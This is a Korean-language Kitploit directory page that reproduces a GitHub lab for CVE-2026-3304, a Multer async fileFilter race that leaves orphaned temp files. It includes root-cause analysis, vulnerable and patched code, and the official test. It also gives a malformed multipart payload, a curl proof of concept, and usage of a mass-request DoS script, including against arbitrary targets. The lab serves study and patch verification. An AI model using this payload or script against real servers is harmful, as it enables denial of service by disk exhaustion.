Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3304 — # CVE-2026-3304 재현 실험실 Multer의 비동기 fileFilter 경쟁 조건으로 인해 고아 임시 파일을 통해 디스크가 고갈되는 취약점을 재현하는 실험실입니다. 취약한 Docker 서버와 패치된 Docker 서버, 익스플로잇 스크립트, 근본 원인 분석을 포함합니다. | Kitploit
도구/GitHubGitHub/mkway/cve-2026-3304
Vulnerability AnalysisExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubmkway/cve-2026-3304

CVE-2026-3304

# CVE-2026-3304 재현 실험실 Multer의 비동기 fileFilter 경쟁 조건으로 인해 고아 임시 파일을 통해 디스크가 고갈되는 취약점을 재현하는 실험실입니다. 취약한 Docker 서버와 패치된 Docker 서버, 익스플로잇 스크립트, 근본 원인 분석을 포함합니다.

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-3304 실습 환경

교육 및 연구 목적으로만 사용하십시오. 승인 없이 시스템을 공격하는 것은 불법입니다.

이 실습 환경은 Multer 2.1.0 패치와 공식 테스트 코드를 분석하여 구축되었습니다. 취약한 서버는 패치 테스트에 설명된 정확한 조건을 재현하며, 패치된 서버는 Multer 2.1.0을 실행하여 수정 사항이 작동하는지 확인합니다.

취약점 개요

필드세부 정보
CVECVE-2026-3304
대상Multer < 2.1.0 (Node.js multipart/form-data 미들웨어)
유형DoS — 고아 파일(불완전한 임시 파일 정리)
CWECWE-459: 불완전한 정리
CVSS 4.08.7 높음
패치 버전Multer 2.1.0

파일 부분에 name 속성이 없는 잘못된 multipart 요청으로 인해 Multer가 디스크에 임시 파일을 생성하지만 정리하지 않습니다. 반복적인 요청으로 디스크 공간이 고갈되어 서비스 거부(DoS)가 발생합니다.


근본 원인 분석

취약점은 multer/lib/make-middleware.js 내부의 fileFilter 콜백 처리 흐름에서 발생합니다.

핵심 문제: setImmediate 타이밍 + 누락된 errorOccured 확인

Multer가 multipart 요청을 부분별로 스트리밍하고 파싱할 때 다음 순서가 발생합니다:

root@kitploit:~
[파싱 이벤트 순서 — 취약한 버전]

1. 파트 1 헤더 수신
   → fileFilter(req, file, cb) 호출
   → setImmediate(cb) → 콜백이 다음 이벤트 루프 틱으로 지연됨

2. 파트 1 본문 수신
   → /tmp/uploads/<uuid> 열림, 데이터 쓰기 시작

3. 파트 2 헤더 수신 (name 속성 누락)
   → Multer가 'name 누락' 감지
   → errorOccured = true  ← 오류 플래그 설정
   → abortWithCode('LIMIT_FIELD_KEY') 호출 → HTTP 500 예약됨

4. setImmediate 콜백 실행 (다음 이벤트 루프 틱)
   → fileFilter 결과: includeFile = true (정상 흐름)
   → [버그] errorOccured 플래그가 확인되지 않음
   → storage._handleFile() 호출 → 임시 파일이 디스크에 커밋됨

5. HTTP 500 응답 전송
   → 임시 파일이 디스크에 남음 (고아 파일)

취약한 코드 (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// fileFilter 완료 콜백 (setImmediate로 지연됨)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured가 여기서 확인되지 않음
  //    파트 2를 파싱하는 동안 오류가 설정되었더라도 실행이 계속됨
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // 임시 파일이 uploadedFiles에 등록되고 디스크에 남음
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

왜 setImmediate가 문제인가?

fileFilter를 setImmediate로 감싸면 콜백이 다음 이벤트 루프 틱으로 지연됩니다. 그 창에서 busboy(multipart 파서)는 다음 파트의 헤더를 계속 파싱하고, 누락된 name을 발견하여 errorOccured = true를 설정합니다. 콜백이 재개될 때 오류 상태는 이미 설정되어 있지만 코드는 이를 확인하지 않으므로 storage._handleFile이 무조건 호출되고 임시 파일이 디스크에 기록됩니다.


패치 코드 분석 (Multer 2.1.0)

수정 커밋: 739919097d

fileFilter 콜백 진입 직후, storage._handleFile에 도달하기 전에 단일 if (errorOccured) 가드가 추가되었습니다.

root@kitploit:~
// fileFilter 완료 콜백 (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [패치] 진행 전에 errorOccured 확인
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // 스트림 드레인 — 디스크에 파일 기록 안 함
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

변경 사항 요약

항목취약 (< 2.1.0)패치됨 (2.1.0)
errorOccured 확인❌ 확인 안 함✅ 콜백 진입 시 즉시 확인
오류 시 _handleFile 호출예차단됨
임시 파일 정리❌ 누락✅ fileStream.resume() 통해
요청당 고아 파일10

fileStream.resume()이 정리하는 이유: fileStream.resume()을 호출하면 스트림을 DiskStorage에 전달하지 않고 드레인 및 폐기하므로 파일이 기록되지 않고 디스크에 아무것도 남지 않습니다.


공식 패치 테스트 코드

Multer 팀은 수정 사항을 검증하기 위해 2.1.0 패치에 다음 Mocha 테스트를 포함했습니다. 이 테스트는 이 실습 환경의 청사진이 되었습니다 — 취약한 서버는 여기에 설명된 정확한 설정(setImmediate fileFilter + 잘못된 multipart 요청)을 재현하며, 예상 동작은 취약한 버전과 패치된 버전 모두에 대해 검증됩니다.

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
단언의미
res.statusCode === 400Multer가 잘못된 요청을 올바르게 거부함
files.length === 0디스크에 고아 파일이 남지 않음 (패치 검증됨)

취약한 버전(< 2.1.0)에서는 files.length가 1이 되어 단언이 실패합니다.


실습 구현

이 실습은 위의 패치 테스트 설정을 직접 반영합니다.

취약한 서버 (Dockerfile + app/server.js)는 setImmediate를 사용하는 비동기 fileFilter와 함께 Multer 2.0.2를 실행합니다 — 패치 테스트의 정확한 트리거 조건입니다:

root@kitploit:~
// app/server.js — 패치 테스트의 취약점 트리거를 재현
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← 콜백을 지연시켜 경쟁 조건 생성
      cb(null, true)
    })
  }
})

패치된 서버 (Dockerfile.patched)는 동일한 server.js를 실행하지만 Multer 2.1.0을 설치하여 errorOccured 가드가 적용됩니다 — 패치 테스트의 예상 통과 상태와 일치합니다.

서버포트Multer예상 동작
취약30002.0.2잘못된 요청마다 고아 파일 생성
패치됨30012.1.0고아 파일 없음 — 정리가 올바르게 작동

참고: fileFilter를 동기식으로 전환하면(setImmediate 제거) Multer < 2.1.0에서도 고아 파일이 생성되지 않습니다. 취약점이 발생하려면 두 가지 조건이 모두 필요합니다: 비동기 fileFilter 및 누락된 errorOccured 확인.


공격: 잘못된 POST 요청

공격은 두 번째 부분에 필수 name 속성이 없는 multipart/form-data POST를 전송합니다.

정상 요청 (안전)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

악성 요청 (CVE-2026-3304 트리거)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← 파트 1: 유효, 여기서 임시 파일 생성
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← 파트 2: name= 누락!
Content-Type: application/octet-stream

x
------Boundary--

서버 측 실행:

root@kitploit:~
1. 파트 1 도착  →  Multer가 /tmp/uploads/<uuid> 열고 쓰기 시작
2. fileFilter가 setImmediate로 호출됨  →  콜백 지연
3. 파트 2 도착  →  Multer가 name 누락 감지  →  errorOccured = true
4. setImmediate 실행  →  fileFilter 콜백 실행
5. [버그] errorOccured 확인 안 함  →  storage._handleFile 호출
6. 임시 파일이 디스크에 기록됨
7. HTTP 500 반환
8. /tmp/uploads/<uuid>가 영원히 디스크에 남음  ← 고아 파일

서버 응답:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

curl PoC

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

직후 고아 파일 확인:

root@kitploit:~
curl http://localhost:3000/status

설정

요구 사항

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

시작

root@kitploit:~
# 취약한 서버(포트 3000) + 패치된 서버(포트 3001) 시작
docker compose up -d --build

# 둘 다 실행 중인지 확인
curl http://localhost:3000/status
curl http://localhost:3001/status

사용법

1단계 — 단일 잘못된 요청 (빠른 테스트)

root@kitploit:~
bash exploit/curl_poc.sh

2단계 — DoS 익스플로잇

root@kitploit:~
# 기본 (50개 요청)
python3 exploit/exploit.py

# 대량 공격 (500개 요청, 각 5 KB 페이로드)
python3 exploit/exploit.py --count 500 --size 5120

# 자체 서명 인증서가 있는 HTTPS 대상 공격
python3 exploit/exploit.py --target https://target.example.com --no-verify

# 패치된 버전과 비교
python3 exploit/exploit.py --target http://localhost:3001 --count 50

3단계 — 실시간 모니터링 (별도 터미널)

root@kitploit:~
bash exploit/monitor.sh

4단계 — 업로드 디렉터리 초기화

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

예상 결과

대상결과
취약한 서버 (3000)요청마다 고아 파일 생성, 디스크가 지속적으로 증가
패치된 서버 (3001)요청 수와 관계없이 고아 파일 0개

검증된 테스트 결과

익스플로잇 출력 (취약한 서버, 50개 요청 × 2 KB)

root@kitploit:~
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

컨테이너 내부에서 확인된 실제 디스크 사용량

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

공격 전:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

200개 요청 × 5 KB 후:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

각 고아 파일은 서버가 재시작되거나 수동으로 정리될 때까지 영구적으로 디스크에 남습니다. 컨테이너의 tmpfs는 50 MB로 제한됩니다 — 한도에 도달하면 새 업로드가 완전히 실패합니다.

초기화 없이 두 번 실행 — 파일 누적

root@kitploit:~
실행 1:  고아 파일   0  ->  50   (100 KB)
실행 2:  고아 파일  50  -> 100   (200 KB)
        ↑ 실행 1의 파일이 여전히 존재 — 정리되지 않음

패치된 서버 (Multer 2.1.0) — 동일한 공격, 영향 없음

root@kitploit:~
[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

종료

root@kitploit:~
docker compose down

참고 자료

  • GitHub Advisory GHSA-xf7r-hgr6-v32p
  • 수정 커밋 739919097d
  • NVD CVE-2026-3304
도구 다운로드